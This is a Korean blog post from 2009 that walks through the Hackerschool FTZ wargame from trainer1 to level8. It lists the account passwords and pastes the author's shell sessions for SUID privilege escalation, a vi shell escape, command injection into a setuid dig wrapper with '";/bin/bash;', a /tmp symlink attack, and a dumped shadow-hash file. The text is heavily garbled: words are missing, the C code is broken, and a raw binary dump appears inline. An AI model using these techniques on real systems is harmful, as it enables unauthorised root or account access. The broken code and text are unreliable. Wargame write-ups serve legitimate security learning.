한번 도전 해보실레요?
2009.09.27 00:42
얼마전 해커스쿨이라는곳을 검색을 통해 알게 되였습니다.
해커스쿨이면 해커을 양성하는곳?
암튼간에 전 처음으로 흥미을 가지도록 한
링크 : https://www.hackerschool.org 에 방문하여 여기저기 기웃 거리다가
telnet 접속을 하여 트레이너, Level을 통해 해킹을 경험 할 수 있다는걸 알게 되여
telnet://ftz.hackerschool.org 에 접속하여 트레이너1 부터 level8까지 해보았는대
내 자신의 실력이 상당히 저질이라는 것을 바로 알게 되였습니다.
여러분도 한번 도전 해보실레요?
아레 내용은 제가 트레이너 1부터 레벨 8까지 진행 하였던 내용입니다.
리눅스에서 진행하다보니... 눈이 어질어질 하네요
맨날 GUI에 익숙한 저에게 콘솔은 음....
전혀 손대지 않은 상태 입니다. 진행하면서 막막 복사해 놓은거라
해킹 연습 트래이너
telnet : ftz.hackerschool.org
trainer2의 비밀번호는 linuxer 입니다.
trainer3의 비밀번호는 computer 입니다.
비밀번호는 mungguta 입니다.
trainer5의 비밀번호는 goodluck 입니다.
이제 이 설치된 OS가 어떤 버젼인지 확인해
봅시다.
< cat /etc/*release 입력한다. >
rpm -pa (패키지 설치 정보)
trainer6의 비밀번호는 coffee
trainer7의 비밀번호는 to the top 입니다.
tar의 사용법은 다음과 같습니다.
"합치기 : tar cvf 합칠파일 합칠파일들"
"해제하기 : tar 해제할파일"
옵션을 간단하게 정리해 볼까요?
c - Create 새로운 파일을 만드는 옵션.
x - eXtract : 압축을 해제시키는
v - View : 압축이 되거나 풀리는 과정을 옵션.
f - File : 파일로서 백업을 하겠다는 옵션.
tar cvf 파일이름.tar * 을 입력한다. >
gzip 명령을 배워보고, 압축/해제를 해봅시다.
" gzip 파일이름 - 선택된 파일을 "
" gzip -d 파일이름 - 선택된 파일을 해제한다. "
" tar : tar 프로그램을 사용하여 압축된 파일로서,
사실 압축이 아닌 여러 파일들이 하나로 뭉쳐져
있는 파일입니다. "
" gz : gzip 프로그램을 사용하여 압축된 파일입니다 "
" : tar 프로그램을 사용하여 파일을 합친 후,
또 다시 gzip 을 사용하여 압축을 한 파일이라고
예상할 수 있겠지요? "
" : 위의 tar.gz 을 합쳐서 tgz라는 확장자로 만들 때
도 있답니다. "
trainer8의 비밀번호는 player
trainer9의 비밀번호는 programming 입니다.
trainer10의 비밀번호는 best! 입니다.
서버 전체에서 걸린 파일을 찾는 방법을
배워 봅시다.
< find / -4000 을 입력한다. >
levle1 : level1
find / level2 -perm -4000 2>/dev/null
level1 권한으로 level2권한을 싱행할 수 있는 찾아 실행하여
bash 입력 하면 levle2 권한을 획득 한거나 다름이
이상태에서 my-pass 을 입력 하여 현제 자신의 비밀번호을 따낸다.
Password is "hacker or cracker".
/usr/bin/editor 을 확인 해보면 같다
-rwsr-x--- 1 level3 level2 22380 29 2003 /usr/bin/editor
그럼 레벨2에서 위에 있는넘을 실행하면 레벨3의 슈퍼아이디의
획득 할 수 있다.
/usr/bin/editor 실행하여
:!bash 입력
[level3@ftz tmp]$
uid=3003(level3) gid=3002(level2) groups=3002(level2)
어 이상하다? 난 분명 레벨2인대?
어쭈? 그룹은 아이디는 레벨3 ㅋㅋ
그럼 난 레벨3이라는뜻 바로 my-pass
[level3@ftz tmp]$
Level3 Password is "can you fly?".
하 레벨 3의 페스워드가
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int char **argv){
char cmd[100];
argc!=2 ){
printf( "Auto Digger Version );
printf( "Usage : %s host\n", );
exit(0);
}
strcpy( cmd, "dig @" );
strcat( cmd, );
strcat( cmd, " version.bind chaos txt");
system( cmd );
}
이를 이용하여 다음권한을 얻어라.
여러 명령어를 사용하려면?
문자열 형태로 명령어를 전달하려면?
[level3@ftz level3]$ ";/bin/bash;
> "
dig: Couldn't find server '': Name or not known
[level4@ftz level3]$ my-pass
Level4 Password is my brain".
[level4@ftz xinetd.d]$ ls -al backdoor
-rw-r----- root level4 171 12월 8 backdoor
[level4@ftz xinetd.d]$ cat backdoor
service finger
{
disable = no
flags REUSE
socket_type = stream
wait = no
= level5
server = /home/level4/tmp/backdoor
log_on_failure += USERID
}
[level4@ftz
[level4@ftz xinetd.d]$ finger level4@localhost
uid=3005(level5) gid=3005(level5)
^[[H^[[J
Level5 Password is is your name?".
[level4@ftz xinetd.d]$
[level5@ftz level5]$ cat
/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.
이를 이용하여 level6의 권한을 얻어라.
[level5@ftz level5]$ ls -al /usr/bin/level5
-rwsr-x--- 1 level6 level5 14402 3월 29 /usr/bin/level5
[level5@ftz level5]$
[level5@ftz tmp]$ cat auto.cpp
#include <stdio.h>
<stdlib.h>
int main()
{
int i=0;
for( ; i<999; )
{
system("/usr/bin/level5");
i++;
return(0);
}
.............................................................
[level5@ftz tmp]$ touch pass.txt
[level5@ftz ln -s /home/level5/tmp/pass.txt /tmp/level5.tmp
[level5@ftz tmp]$ /usr/bin/level5
[level5@ftz tmp]$ ls
합계 56
drwxrwx--- 2 root level5 4096 9월 25 16:24 .
drwxr-xr-x 4 root level5 4096 5월 7 2002 ..
1 level5 level5 11575 9월 24 auto
-rw-rw-r-- 1 level5 level5 9월 24 09:52 auto.cpp
-rw-rw-r-- 1 level5 level5 69 9월 24 05:13 kk1
-rw------- level5 level5 12288 9월 24 14:16 kkk.swp
-rw-rw-r-- 1 level5 level5 31 25 16:25 pass.txt
-rwxrwxr-x 1 level5 level5 11575 9월 25 16:17 r
[level5@ftz tmp]$ cat pass.txt
next : what the hell
레벨6 클리어 방법
먼저 로고인 아이디와 적고 로고인 한다.
힌트가 나오면 바로 컨트롤 + C 을 셀로 나오면
[level6@ftz level6]$ ls -al
합계 104
drwxr-xr-x root level6 4096 3월 5 .
drwxr-xr-x 44 root root 4096 1월 15 2009 ..
-rw-r--r-- 1 root root 245 9월 24 2000
-rw------- 1 root root 5 3월 27 2000 .bash_history
-rw-r--r-- 1 root root 12 11월 24 .bash_login
-rw-r--r-- 1 root root 24 2월 24 2002 .bash_logout
-rw-r--r-- 1 root 224 2월 24 .bash_profile
-rw-r--r-- 1 root root 163 3월 5 2003 .bashrc
-rw-r--r-- 1 root root 400 9월 24 2000
-rw-r--r-- 1 root root 4742 9월 24 2000 .emacs
-r--r--r-- 1 root root 319 9월 24 2000 .gtkrc
-rw-r--r-- 1 root root 9월 24 2000 .gvimrc
-rw-r--r-- 1 root 226 9월 24 2000 .muttrc
-rw-r--r-- 1 root root 367 24 2000 .profile
-rw-r--r-- 1 root root 1 5월 7 2002 .viminfo
-rw-r--r-- 1 root root 4145 24 2000 .vimrc
-rw-r--r-- 1 root root 72 11월 23 2000 hint
-rw-r----- 1 root level6 36 24 2000 password
drwxr-xr-x 2 root level6 4096 5월 16 2005 public_html
drwxrwxr-x 2 level6 4096 9월 22 12:53
-rwxr-x--- 1 root level6 14910 5 2003 tn
[level6@ftz level6]$ cat password
Level7 password is together".
login: level7
Password:
Last login: Fri Sep 25 from 211.41.171.32
[level7@ftz level7]$ cat hint
/bin/level7 명령을 패스워드 입력을 요청한다.
1. 패스워드는 가까운곳에..
2. 상상력을 총동원하라.
2진수를 10진수를 바꿀 수 있는가?
4. 계산기 설정을 공학용으로 바꾸어라.
[level7@ftz level7]$
[level7@ftz level7]$ cat hint
명령을 실행하면, 패스워드 입력을 요청한다.
1. 패스워드는 가까운곳에..
2. 총동원하라.
3. 2진수를 10진수를 바꿀 수 있는가?
4. 계산기 설정을 바꾸어라.
젠장 아주 가까운대 있다고 했냐?
[level7@ftz level7]$ find -user level8 -perm -4000 2>/dev/null
/bin/level7
[level7@ftz level7]$
오호 /bin/level7 이넘이군....
-rwsr-x--- 1 level8 level7 3월 29 2003 /bin/level7
역시... 그렇군 그럼? 설마? 그런가?
좋아 간단한가?
[level7@ftz level7]$ cat /bin/level7
ELF&j?4$4 (44?4??????????jjll?l??????? ?? /lib/ld-linux.so.2GNU
$?-!???"'??b".??P"5???"M`?S??[4??`??o? ???t"__gmon_start__libc.so.6printffgetssystemmalloc__deregister_frame_infostdinstrncmpexit_IO_stdin_used__libc_start_main__register_frame_infoGLIBC_2.0???`???
???????????
???? U??S?[???0t?n|訌?打7外?]惶??5???%???%??h禹????%??優????%??h湧????%??h欲????%??h ??????%??h(??????%??h0??????%??h8?p????%??h@?`???1?^???厄PTRh??ht?QVh?獒??????????????????U???=t?u8???P?p???鬼p??8u勇????t
hx??*????t?????U?煬??vU?躍????thd?hx?梡??????vU?煬????????????U????jd完????????E?h????????`?Pjd?E?P窪?????
jh??E?P渦?????
????uh ?浣?????j翫?????hW??T??????????????????U??S?|??=|??t
????츱?;?u??]惶??U?煬????U??S?[?쵠瓦????]惶?Insert Password : mate
Congratulation! next password is "break the world".
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머냐? 허미 정말 황당하네... 안애 버젓이 패스워드가 있네?
접속 해볼까?
[level7@ftz level7]$ /bin/level7
Insert The Password : mate
Congratulation! next password is "break the world".
[level7@ftz level7]$
컥 정말이였군... 이넘였어 허허 정말 황당 하군
nsert The Password : mate
Congratulation! next password is "break the world".
[[level8@ftz tmp]$ find / -size 2700c 2>/dev/null
/var/www/manual/ssl/ssl_intro_fig2.gif
/etc/rc.d/found.txt
/usr/share/man/man3/IO::Pipe.3pm.gz
/usr/share/man/man3/URI::data.3pm.gz
[level8@ftz tmp]$ ls -al /etc/rc.d/found.txt
-rw-r----- 1 root level8 2700 3월 29 2003 /etc/rc.d/found.txt
[level8@ftz tmp]$ cat /etc/rc.d/found.txt
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
이부분에 대해서는 일단 공부을 더 해야 할거 같다.
일단 검색 결과
apple
으로 나와있다.